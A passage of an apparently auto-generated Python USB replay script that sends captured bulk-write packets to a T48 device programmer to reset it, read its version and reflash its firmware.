b\"\\xB4\\xF5\\xF2\\xAC\\x98\\xFF\\xCB\\x7B\\xDF\\x8D\\xB3\\x87\\x54\\xB3\\x92\\x3B\"\n b\"\\xBA\\x39\\x10\\xCD\\x35\\x50\\xA5\\x0D\\xDB\\x7C\\xD4\\x41\\x1F\\xCF\\xCC\\x7C\"\n b\"\\x4B\\xDB\\x44\\xDD\\xA1\\xA8\\x14\\xE9\\x90\\x02\\xED\\x9A\")\n # Generated from packet 3855/3856\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3855/3856\")\n # Generated from packet 3857/3858\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF0\\xA8\\x1F\\xF0\\x3A\\x00\\x00\\x00\"\n b\"\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5E\\x79\\x74\\xB5\\xCC\\x0C\\xC4\\xC3\"\n b\"\\xD0\\xD5\\x03\\x92\\xF7\\x82\\x4D\\xEF\\x45\\x01\\x1D\\x13\\x11\\x52\\x1C\\xD8\"\n b\"\\x9F\\x7D\\xD7\\xB0\\x54\\x1A\\xFB\\x88\\x57\\xF4\\x21\\x77\\x08\\x9D\\x61\\x6B\"\n b\"\\x08\\xCF\\x74\\x05\\xD7\\x72\\x88\\xA3\\x67\\xF1\\x2E\\xB6\\x67\\x3D\\x1A\\x41\"\n b\"\\x6B\\x6F\\x87\\x7A\\x00\\xB9\\xA7\\xC2\\xA0\\x9E\\xD9\\xF9\\xF2\\xEA\\x31\\xE3\"\n b\"\\x87\\x88\\xAE\\xEB\\x4E\\xB6\\xA1\\xC4\\x5E\\x96\\xA9\\x2E\\x85\\x5C\\x7D\\x0A\"\n b\"\\xCE\\x85\\x66\\xCB\\x1F\\x37\\x8B\\xA1\\xB5\\x29\\x2B\\x6B\\xA7\\xFD\\x87\\x7C\"\n b\"\\x7B\\x10\\xF2\\x3C\\x2F\\x35\\x08\\x2E\\x7E\\xAA\\x2D\\x5A\\xCF\\xC1\\x89\\xD1\"\n b\"\\x16\\x9F\\xA5\\xA9\\x23\\x28\\xE6\\x10\\x2A\\x80\\xA2\\xFC\\xCC\\x78\\xCF\\x7B\"\n b\"\\x6D\\xED\\xDA\\x82\\x52\\x0C\\x03\\xB2\\xA3\\x62\\xAD\\x34\\xF4\\x97\\xF9\\x8F\"\n b\"\\xFC\\x75\\xAE\\x11\\x65\\xBA\\x11\\xD0\\x8C\\xA8\\x85\\x57\\x80\\x74\\x4D\\x00\"\n b\"\\xAD\\x42\\x77\\xE3\\x2A\\x11\\xF1\\x3D\\x9F\\x49\\xF8\\x6C\\xF9\\x5F\\xE1\\x12\"\n b\"\\x5E\\xD6\\xC2\\xB6\\xF8\\x94\\x99\\xDE\\x3D\\x7D\\x51\\x7B\\x07\\xA3\\x9B\\x21\"\n b\"\\x91\\xE4\\x72\\x5D\\xE0\\x12\\x4C\\x90\\xAF\\x83\\x14\\x0C\\xBC\\xF2\\xAC\\x20\"\n b\"\\xB6\\xCB\\x7B\\x67\\xC4\\xB3\\x87\\xEC\\xFA\\x92\\x3B\\x02\\x70\\x10\\xCD\\x8D\"\n b\"\\x19\\xA5\\x0D\\x63\\x35\\xD4\\x41\\xA7\\x86\\xCC\\x7C\\xF3\\x92\\x44\\xDD\\x19\"\n b\"\\xE1\\x14\\xE9\\x28\\x4B\\xED\\x9A\\x06\\xB6\\x14\\xB0\\x3C\")\n # Generated from packet 3859/3860\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3859/3860\")\n # Generated from packet 3861/3862\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEA\\x9C\\x46\\x3C\\x6C\\x39\\x00\\x00\"\n b\"\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4E\\xAF\\xAA\\xF6\\xA3\\x1E\\xAA\\x2D\"\n b\"\\xD7\\xAF\\xC1\\x89\\x5C\\x76\\x9F\\xA5\\x24\\x43\\x28\\xE6\\x9D\\x4A\\x80\\xA2\"\n b\"\\x71\\xAC\\x78\\xCF\\xF6\\x0D\\xED\\xDA\\x0F\\x32\\x0C\\x03\\x3F\\xC3\\x62\\xAD\"\n b\"\\xB9\\x94\\x97\\xF9\\x02\\x9C\\x75\\xAE\\x9C\\x05\\xBA\\x11\\x5D\\xEC\\xA8\\x85\"\n b\"\\xDA\\xE0\\x74\\x4D\\x8D\\xCD\\x42\\x77\\x6E\\x4A\\x11\\xF1\\xB0\\xFF\\x49\\xF8\"\n b\"\\xE1\\x99\\x5F\\xE1\\x9F\\x3E\\xD6\\xC2\\x3B\\x98\\x94\\x99\\x53\\x5D\\x7D\\x51\"\n b\"\\xF6\\x67\\xA3\\x9B\\xAC\\xF1\\xE4\\x72\\xD0\\x80\\x12\\x4C\\x1D\\xCF\\x83\\x14\"\n b\"\\x81\\xDC\\xF2\\xAC\\xAD\\xD6\\xCB\\x7B\\xEA\\xA4\\xB3\\x87\\x61\\x9A\\x92\\x3B\"\n b\"\\x8F\\x10\\x10\\xCD\\x00\\x79\\xA5\\x0D\\xEE\\x55\\xD4\\x41\\x2A\\xE6\\xCC\\x7C\"\n b\"\\x7E\\xF2\\x44\\xDD\\x94\\x81\\x14\\xE9\\xA5\\x2B\\xED\\x9A\\x8B\\xD6\\x14\\xB0\"\n b\"\\xB1\\xC1\\x9B\\x8F\\xA1\\x8E\\x6C\\xA0\\xAE\\x33\\x77\\x78\\x18\\xE0\\x19\\x87\"\n b\"\\x51\\xA9\\x9D\\x90\\xDE\\xA8\\xA7\\xD7\\x78\\xA8\\x31\\x0A\\x80\\x4C\\xC5\\x37\"\n b\"\\x5F\\xE6\\x00\\xE3\\x56\\x5E\\x19\\xBE\\x0C\\x8D\\x8F\\x11\\x49\\x70\\x34\\xC2\"\n b\"\\x5A\\xE7\\x20\\x78\\x50\\xDB\\x76\\x26\\xE8\\xBB\\x43\\x05\\x71\\xF1\\x83\\xEB\"\n b\"\\xEB\\x75\\x4F\\x86\\xFE\\xE2\\x63\\x70\\xD6\\xCB\\x4B\\x82\\xF5\\xE3\\xE1\\x73\"\n b\"\\x00\\xB9\\x46\\xA0\\x12\\x70\\x48\\xAE\\x2E\\x7E\\x02\\x53\\xC5\\x7F\\x41\\x44\"\n b\"\\xDD\\xFD\\x33\\xCA\\x6C\\x78\\x9B\\x57\\xC8\\xCF\\x50\\x5C\")\n # Generated from packet 3863/3864\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3863/3864\")\n # Generated from packet 3865/3866\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x24\\xCC\\x48\\x28\\x93\\x36\\x00\\x00\"\n b\"\\x1A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\xE2\\xFD\\x53\\x46\\x75\\x97\\xF9\"\n b\"\\xFD\\x7D\\x75\\xAE\\x63\\xE4\\xBA\\x11\\xA2\\x0D\\xA8\\x85\\x25\\x01\\x74\\x4D\"\n b\"\\x72\\x2C\\x42\\x77\\x91\\xAB\\x11\\xF1\\x4F\\x1E\\x49\\xF8\\x1E\\x78\\x5F\\xE1\"\n b\"\\x60\\xDF\\xD6\\xC2\\xC4\\x79\\x94\\x99\\xAC\\xBC\\x7D\\x51\\x09\\x86\\xA3\\x9B\"\n b\"\\x53\\x10\\xE4\\x72\\x2F\\x61\\x12\\x4C\\xE2\\x2E\\x83\\x14\\x7E\\x3D\\xF2\\xAC\"\n b\"\\x52\\x37\\xCB\\x7B\\x15\\x45\\xB3\\x87\\x9E\\x7B\\x92\\x3B\\x70\\xF1\\x10\\xCD\"\n b\"\\xFF\\x98\\xA5\\x0D\\x11\\xB4\\xD4\\x41\\xD5\\x07\\xCC\\x7C\\x81\\x13\\x44\\xDD\"\n b\"\\x6B\\x60\\x14\\xE9\\x5A\\xCA\\xED\\x9A\\x74\\x37\\x14\\xB0\\x4E\\x20\\x9B\\x8F\"\n b\"\\x5E\\x6F\\x6C\\xA0\\x51\\xD2\\x77\\x78\\xE7\\x01\\x19\\x87\\xAE\\x48\\x9D\\x90\"\n b\"\\x21\\x49\\xA7\\xD7\\x87\\x49\\x31\\x0A\\x7F\\xAD\\xC5\\x37\\xA0\\x07\\x00\\xE3\"\n b\"\\xA9\\xBF\\x19\\xBE\\xF3\\x6C\\x8F\\x11\\xB6\\x91\\x34\\xC2\\xA5\\x06\\x20\\x78\"\n b\"\\xAF\\x3A\\x76\\x26\\x17\\x5A\\x43\\x05\\x8E\\x10\\x83\\xEB\\x14\\x94\\x4F\\x86\"\n b\"\\x01\\x03\\x63\\x70\\x29\\x2A\\x4B\\x82\\x0A\\x02\\xE1\\x73\\xFF\\x58\\x46\\xA0\"\n b\"\\xED\\x91\\x48\\xAE\\xD1\\x9F\\x02\\x53\\x3A\\x9E\\x41\\x44\\x22\\x1C\\x33\\xCA\"\n b\"\\x93\\x99\\x9B\\x57\\x37\\x2E\\x50\\x5C\\x39\\xBA\\x5E\\xF6\\x6D\\x54\\xA1\\xAC\"\n b\"\\x25\\xD9\\xFC\\x62\\x27\\xE2\\x83\\x14\\x48\\x8A\\xEA\\xED\\x53\\x73\\xAD\\xFB\"\n b\"\\x7C\\xE8\\x29\\xCC\\x1E\\xA3\\x9C\\xA5\\x02\\x64\\x1D\\xA2\")\n # Generated from packet 3867/3868\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3867/3868\")\n # Generated from packet 3869/3870\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x76\\x3D\\x5A\\x14\\x98\\x66\\x00\\x00\"\n b\"\\x1B\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAC\\xCF\\x04\\xDF\\xC5\\x28\\x72\\x5D\"\n b\"\\xB4\\xDE\\x4C\\x90\\xFB\\x4F\\x14\\x0C\\xE8\\x3E\\xAC\\x20\\xE2\\x07\\x7B\\x67\"\n b\"\\x90\\x7F\\x87\\xEC\\xAE\\x5E\\x3B\\x02\\x24\\xDC\\xCD\\x8D\\x4D\\x69\\x0D\\x63\"\n b\"\\x61\\x18\\x41\\xA7\\xD2\\x00\\x7C\\xF3\\xC6\\x88\\xDD\\x19\\xB5\\xD8\\xE9\\x28\"\n b\"\\x1F\\x21\\x9A\\x06\\xE2\\xD8\\xB0\\x3C\\xF5\\x57\\x8F\\x2C\\xBA\\xA0\\xA0\\x23\"\n b\"\\x07\\xBB\\x78\\x95\\xD4\\xD5\\x87\\xDC\\x9D\\x51\\x90\\x53\\x9C\\x6B\\xD7\\xF5\"\n b\"\\x9C\\xFD\\x0A\\x0D\\x78\\x09\\x37\\xD2\\xD2\\xCC\\xE3\\xDB\\x6A\\xD5\\xBE\\x81\"\n b\"\\xB9\\x43\\x11\\xC4\\x44\\xF8\\xC2\\xD7\\xD3\\xEC\\x78\\xDD\\xEF\\xBA\\x26\\x65\"\n b\"\\x8F\\x8F\\x05\\xFC\\xC5\\x4F\\xEB\\x66\\x41\\x83\\x86\\x73\\xD6\\xAF\\x70\\x5B\"\n b\"\\xFF\\x87\\x82\\x78\\xD7\\x2D\\x73\\x8D\\x8D\\x8A\\xA0\\x9F\\x44\\x84\\xAE\\xA3\"\n b\"\\x4A\\xCE\\x53\\x48\\x4B\\x8D\\x44\\x50\\xC9\\xFF\\xCA\\xE1\\x4C\\x57\\x57\\x45\"\n b\"\\xFB\\x9C\\x5C\\x4B\\x6F\\x92\\xF6\\x1F\\x81\\x6D\\xAC\\x57\\x0C\\x30\\x62\\x55\"\n b\"\\x37\\x4F\\x14\\x3A\\x5F\\x26\\xED\\x21\\xA6\\x61\\xFB\\x0E\\x3D\\xE5\\xCC\\x6C\"\n b\"\\x76\\x50\\xA5\\x70\\xB1\\xD1\\xA2\\x05\\xED\\x90\\xF7\\x1C\\x7F\\xA0\\x0B\\x77\"\n b\"\\x80\\xB9\\xBE\\x95\\x34\\xE8\\xED\\xC1\\x46\\x54\\x5D\\xB6\\xE1\\xE0\\x02\\xB5\"\n b\"\\x73\\x29\\xFD\\x72\\xE0\\xE6\\xE3\\xB0\\x2D\\x3B\\xB5\\xBC\\xDC\\xAA\\xC9\\xFE\"\n b\"\\xE6\\x11\\x62\\x15\\x26\\xC5\\xA1\\x33\\xF0\\x69\\x6A\\xD2\")\n # Generated from packet 3871/3872\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3871/3872\")\n # Generated from packet 3873/3874\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB8\\x6D\\x54\\x00\\x0D\\x3B\\x00\\x00\"\n b\"\\x1C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x08\\x9D\\xFF\\xBC\\x74\\x56\\x52\"\n b\"\\xBD\\xBF\\xD8\\x7D\\x76\\xD7\\x13\\x1A\\x5A\\xEF\\x10\\xF4\\x80\\x10\\x4F\\x9D\"\n b\"\\xC0\\x0C\\x4F\\xCF\\xD5\\x62\\x90\\x72\\x29\\xC4\\x20\\xF1\\x8F\\xD1\\x20\\x3D\"\n b\"\\xBB\\x26\\x2C\\x6F\\x26\\x1D\\x47\\xB9\\x06\\xA5\\xE7\\x9E\\x78\\x9E\\xB5\\xEA\"\n b\"\\x90\\x84\\xC0\\x88\\x0F\\x8C\\x09\\xB6\\x00\\xA3\\x19\\x96\\x08\\x49\\xC2\\x5C\"\n b\"\\xDC\\x6D\\x89\\x85\\xC7\\xAC\\x58\\x37\\x2A\\xC6\\xF2\\x29\\x8A\\x0C\\xE0\\xFD\"\n b\"\\x26\\x1B\\x3C\\x10\\x53\\x5B\\x68\\x35\\xA9\\x49\\x39\\xAA\\x8C\\x3D\\x88\\xC1\"\n b\"\\x28\\xB6\\x51\\x9F\\x04\\xCE\\x64\\x28\\x47\\x77\\x6D\\x80\\x03\\x9B\\x8B\\x78\"\n b\"\\x6E\\x1C\\x2A\\xED\\x7B\\xE5\\x15\\x0C\\xA2\\xD5\\xE4\\x62\\x0C\\x53\\xB3\\x97\"\n b\"\\x58\\xE8\\xBB\\x75\\x0F\\x76\\x22\\xBA\\xB0\\xB7\\xCB\\xA8\\x24\\x30\\xC7\\x74\"\n b\"\\xEC\\x67\\xEA\\x42\\xD6\\x84\\x6D\\x11\\x50\\x5A\\xD8\\x49\\x59\\x0B\\xBE\\x5F\"\n b\"\\x40\\x75\\x19\\xD6\\x63\\xD1\\xBF\\x94\\x38\\xB9\\x7A\\x7D\\xF0\\x1C\\x40\\xA3\"\n b\"\\x3A\\x46\\xD6\\xE4\\xD3\\x3A\\xA7\\x12\\xED\\xF7\\xE8\\x83\\xB5\\x6B\\xFB\\xF2\"\n b\"\\x0D\\x47\\xF1\\xCB\\xDA\\x00\\x83\\xB3\\x26\\x8B\\xBD\\x92\\x9A\\x65\\x37\\x10\"\n b\"\\x6C\\xEA\\x5E\\xA5\\xAC\\x04\\x72\\xD4\\xE0\\xC0\\xC1\\xCC\\xDD\\x94\\xD5\\x44\"\n b\"\\x7C\\x7E\\xA6\\x14\\x48\\x4F\\x0C\\xED\\x3B\\x61\\xF1\\x14\\x11\\x5B\\xE6\\x9B\"\n b\"\\x2E\\x4B\\xA9\\x6C\\x01\\x44\\x14\\x77\\xD9\\xF2\\xC7\\x19\")\n # Generated from packet 3875/3876\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3875/3876\")\n # Generated from packet 3877/3878\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD2\\xDF\\x7F\\x6C\\x57\\x3F\\x00\\x00\"\n b\"\\x1D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4D\\xB0\\x14\\x5F\\x18\\xCE\\x2B\\x6B\"\n b\"\\x0A\\x1A\\x87\\x7C\\xD6\\xF7\\xF2\\x3C\\x82\\xD2\\x08\\x2E\\xD3\\x4D\\x2D\\x5A\"\n b\"\\x62\\x26\\x89\\xD1\\xBB\\x78\\xA5\\xA9\\x8E\\xCF\\xE6\\x10\\x87\\x67\\xA2\\xFC\"\n b\"\\x61\\x9F\\xCF\\x7B\\xC0\\x0A\\xDA\\x82\\xFF\\xEB\\x03\\xB2\\x0E\\x85\\xAD\\x34\"\n b\"\\x59\\x70\\xF9\\x8F\\x51\\x92\\xAE\\x11\\xC8\\x5D\\x11\\xD0\\x21\\x4F\\x85\\x57\"\n b\"\\x2D\\x93\\x4D\\x00\\x00\\xA5\\x77\\xE3\\x87\\xF6\\xF1\\x3D\\x32\\xAE\\xF8\\x6C\"\n b\"\\x54\\xB8\\xE1\\x12\\xF3\\x31\\xC2\\xB6\\x55\\x73\\x99\\xDE\\x90\\x9A\\x51\\x7B\"\n b\"\\xAA\\x44\\x9B\\x21\\x3C\\x03\\x72\\x5D\\x4D\\xF5\\x4C\\x90\\x02\\x64\\x14\\x0C\"\n b\"\\x11\\x15\\xAC\\x20\\x1B\\x2C\\x7B\\x67\\x69\\x54\\x87\\xEC\\x57\\x75\\x3B\\x02\"\n b\"\\xDD\\xF7\\xCD\\x8D\\xB4\\x42\\x0D\\x63\\x98\\x33\\x41\\xA7\\x2B\\x2B\\x7C\\xF3\"\n b\"\\x3F\\xA3\\xDD\\x19\\x4C\\xF3\\xE9\\x28\\xE6\\x0A\\x9A\\x06\\x1B\\xF3\\xB0\\x3C\"\n b\"\\x0C\\x7C\\x8F\\x2C\\x43\\x8B\\xA0\\x23\\xFE\\x90\\x78\\x95\\x2D\\xFE\\x87\\xDC\"\n b\"\\x64\\x7A\\x90\\x53\\x65\\x40\\xD7\\xF5\\x65\\xD6\\x0A\\x0D\\x81\\x22\\x37\\xD2\"\n b\"\\x2B\\xE7\\xE3\\xDB\\x93\\xFE\\xBE\\x81\\x40\\x68\\x11\\xC4\\xBD\\xD3\\xC2\\xD7\"\n b\"\\x2A\\xC7\\x78\\xDD\\x16\\x91\\x26\\x65\\x76\\xA4\\x05\\xFC\\x3C\\x64\\xEB\\x66\"\n b\"\\xB8\\xA8\\x86\\x73\\x2F\\x84\\x70\\x5B\\x06\\xAC\\x82\\x78\\x2E\\x06\\x73\\x8D\"\n b\"\\x74\\xA1\\xA0\\x9F\\xBD\\xAF\\xAE\\xA3\\xB3\\xE5\\x53\\x48\")\n # Generated from packet 3879/3880\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3879/3880\")\n # Generated from packet 3881/3882\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1C\\x8F\\x71\\x78\\xEB\\x5F\\x00\\x00\"\n b\"\\x1E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xAA\\x82\\xED\\x2B\\xB9\\x1C\\xD8\"\n b\"\\xA5\\x96\\xD7\\xB0\\x6E\\xF1\\xFB\\x88\\x6D\\x1F\\x21\\x77\\x32\\x76\\x61\\x6B\"\n b\"\\x32\\x24\\x74\\x05\\xED\\x99\\x88\\xA3\\x5D\\x1A\\x2E\\xB6\\x5D\\xD6\\x1A\\x41\"\n b\"\\x51\\x84\\x87\\x7A\\x3A\\x52\\xA7\\xC2\\x9A\\x75\\xD9\\xF9\\xC8\\x01\\x31\\xE3\"\n b\"\\xBD\\x63\\xAE\\xEB\\x74\\x5D\\xA1\\xC4\\x64\\x7D\\xA9\\x2E\\xBF\\xB7\\x7D\\x0A\"\n b\"\\xF4\\x6E\\x66\\xCB\\x25\\xDC\\x8B\\xA1\\x8F\\xC2\\x2B\\x6B\\x9D\\x16\\x87\\x7C\"\n b\"\\x41\\xFB\\xF2\\x3C\\x15\\xDE\\x08\\x2E\\x44\\x41\\x2D\\x5A\\xF5\\x2A\\x89\\xD1\"\n b\"\\x2C\\x74\\xA5\\xA9\\x19\\xC3\\xE6\\x10\\x10\\x6B\\xA2\\xFC\\xF6\\x93\\xCF\\x7B\"\n b\"\\x57\\x06\\xDA\\x82\\x68\\xE7\\x03\\xB2\\x99\\x89\\xAD\\x34\\xCE\\x7C\\xF9\\x8F\"\n b\"\\xC6\\x9E\\xAE\\x11\\x5F\\x51\\x11\\xD0\\xB6\\x43\\x85\\x57\\xBA\\x9F\\x4D\\x00\"\n b\"\\x97\\xA9\\x77\\xE3\\x10\\xFA\\xF1\\x3D\\xA5\\xA2\\xF8\\x6C\\xC3\\xB4\\xE1\\x12\"\n b\"\\x64\\x3D\\xC2\\xB6\\xC2\\x7F\\x99\\xDE\\x07\\x96\\x51\\x7B\\x3D\\x48\\x9B\\x21\"\n b\"\\xAB\\x0F\\x72\\x5D\\xDA\\xF9\\x4C\\x90\\x95\\x68\\x14\\x0C\\x86\\x19\\xAC\\x20\"\n b\"\\x8C\\x20\\x7B\\x67\\xFE\\x58\\x87\\xEC\\xC0\\x79\\x3B\\x02\\x4A\\xFB\\xCD\\x8D\"\n b\"\\x23\\x4E\\x0D\\x63\\x0F\\x3F\\x41\\xA7\\xBC\\x27\\x7C\\xF3\\xA8\\xAF\\xDD\\x19\"\n b\"\\xDB\\xFF\\xE9\\x28\\x71\\x06\\x9A\\x06\\x8C\\xFF\\xB0\\x3C\\x9B\\x70\\x8F\\x2C\"\n b\"\\xD4\\x87\\xA0\\x23\\x69\\x9C\\x78\\x95\\xBA\\xF2\\x87\\xDC\")\n # Generated from packet 3883/3884\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3883/3884\")\n # Generated from packet 3885/3886\n bulkWrite(0x01, b\"\\x3B\\x03\\x00\\x01\\x00\\xFF\\x03\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x68\\x86\\xEF\\xCD\")\n # Generated from packet 3887/3888\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3887/3888\")\n # Generated from packet 3889/3890\n bulkWrite(0x01, b\"\\x3B\\x02\\x00\\x01\\x00\\xFF\\x03\\x08\\x23\\x01\\x67\\x45\\xAB\\x89\\xEF\\xCD\")\n\n \"\"\"\n # Generated from packet 3891/3892\n bulkWrite(0x01, b\"\\x3F\\x02\\x00\\x01\\x00\\xFF\\x03\\x08\")\n \n note previous reset\n self.bulkWrite(0x01, b\"\\x3F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n \"\"\"\n t.reset(mode=2)\n\n\ndef main():\n import argparse \n\n parser = argparse.ArgumentParser(description=\"Reset programmer\")\n args = parser.parse_args()\n\n t = t48.get()\n\n\n\n \"\"\"\n ***********************************************************\n 55-init\n ***********************************************************\n \"\"\"\n print(\"55-init\")\n \"\"\"\n # Generated from packet 33/34\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 16)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 33/34\")\n \"\"\"\n t.winusb_16()\n \"\"\"\n # Generated from packet 35/36\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 40)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x01\\x57\\x49\\x4E\\x55\\x53\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 35/36\")\n \"\"\"\n t.winusb_40()\n\n \"\"\"\n # Generated from packet 51/52\n t.bulkWrite(0x01, b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n # Generated from packet 53/54\n buff = t.bulkRead(0x81, 0x0200)\n t48.validate_read(b\"\\x00\\x01\\x30\\x00\\x00\\x01\\x07\\x00\\x32\\x30\\x32\\x32\\x2D\\x30\\x39\\x2D\"\n b\"\\x32\\x31\\x30\\x39\\x3A\\x32\\x37\\x00\\x32\\x39\\x41\\x30\\x33\\x36\\x33\\x32\"\n b\"\\x57\\x44\\x4E\\x35\\x59\\x46\\x4F\\x4D\\x4B\\x32\\x52\\x52\\x56\\x4A\\x30\\x41\"\n b\"\\x32\\x46\\x39\\x53\\x39\\x36\\x31\\x33\\x1F\\x06\\x00\\x00\\x01\\x00\\x00\", buff, \"packet 53/54\")\n \"\"\"\n t.version_raw()\n\n\n # Generated from packet 55/56\n t.bulkWrite(0x01, b\"\\x3D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x01\\x67\\x45\\xAB\\x89\\xEF\\xCD\")\n # Generated from packet 57/58\n buff = t.bulkRead(0x81, 0x0200)\n t48.validate_read(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 57/58\")\n\n \"\"\"\n # Generated from packet 59/60\n t.bulkWrite(0x01, b\"\\x3F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n \"\"\"\n print(\"Resetting...\")\n t.reset(mode=0)\n\n print(\"Back...\")\n\n\n\n \"\"\"\n ***********************************************************\n 56-update\n ***********************************************************\n \"\"\"\n print(\"56-update\")\n replay(t)\n\n\n \"\"\"\n ***********************************************************\n 57-reboot\n ***********************************************************\n \"\"\"\n print(\"57-reboot\")\n\n # Generated by usbrply\n # Source: Linux pcap (usbmon)\n # cmd: /usr/local/bin/usbrply --wrapper --device 57 2022-12-21_01_init_reflash.pcapng\n\n \"\"\"\n # Generated from packet 3921/3922\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 16)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 3921/3922\")\n \"\"\"\n t.winusb_16()\n\n \"\"\"\n # Generated from packet 3923/3924\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 40)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x01\\x57\\x49\\x4E\\x55\\x53\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 3923/3924\")\n \"\"\"\n t.winusb_40()\n\n \"\"\"\n # Generated from packet 3939/3940\n t.bulkWrite(0x01, b\"\\x00\\x00\\x30\\x00\\x00\\x01\\x07\\x00\")\n # Generated from packet 3941/3942\n buff = t.bulkRead(0x81, 0x0200)\n t48.validate_read(b\"\\x00\\x01\\x30\\x00\\x07\\x01\\x07\\x00\\x32\\x30\\x32\\x32\\x2D\\x30\\x39\\x2D\"\n 